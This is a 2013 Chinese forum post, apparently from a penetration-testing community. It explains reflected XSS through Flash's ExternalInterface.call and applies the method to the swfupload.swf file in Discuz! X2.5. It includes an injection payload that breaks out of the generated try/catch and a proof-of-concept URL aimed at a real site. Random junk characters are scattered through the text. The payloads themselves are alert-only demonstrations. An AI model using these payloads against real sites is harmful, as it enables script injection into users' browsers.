中国网络渗透测试联盟

标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站 [打印本页]

作者: admin    时间: 2013-2-23 12:50
标题: Flash应用安全系列[2]--Discuz! X2.5反射型跨站
上回我们说, Q9 l7 l7 Q% K7 l

; b6 \; r( m: w+ h+ O( s6 V; aflash.external.ExternalInterface.call($methodName, $parameter), a% o, P* r4 v; T2 h: U
在浏览器中执行的是
8 O! H8 V' v7 H) ]- d  w- Y1 {( m3 X5 Y- o* e( k# T! g
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
  b" }/ v+ J: q/ i0 Y对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如) x8 h, n5 A$ {1 t! O8 ?

2 `/ c/ y0 ~( w0 W7 u7 D" e5 Vflash.external.ExternalInterface.call("object."+$methodName, $parameter)% k$ ]0 _6 O- k; n0 i
$methodName = a())}catch(e){alert(/xss/)}//
, g* g( k% \7 L4 N  w) ]+ ^结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。
0 g) ?" c( ~' n& l+ r3 `9 R# j: a9 r4 F4 W- t# g
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }3 z' U% A, B: X5 |, e2 e! v
3 a/ m7 G8 b- ~" @( O: e6 A
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )9 u) a( T) D3 E' B# q5 A+ h% |: F. x
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。5 Y# X- I- n* e6 q9 `* N: C3 \. M  |
' c4 A$ g* _& [
. c5 O) s6 Q0 v9 w7 W
" ~/ j$ `+ `( {6 H' @0 F# X3 d
漏洞文件:upload\static\image\common\swfupload.swf
2 s" v# N; M/ c+ H: v: c& T9 V+ ^# R; z' P% L" \1 Q  u3 G
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf  ~7 u3 C( R- ^, Z* t
- g$ `7 `5 @# Y6 S+ _( ?# I& C

6 D& @( U9 m' B3 I7 m1 e漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//* {) S( C2 X- i  z5 t2 h

- E& _9 x9 s7 F) g: u9 `5 z# U9 \5 S9 z3 W  O" q4 Z, `; T2 d# d





欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2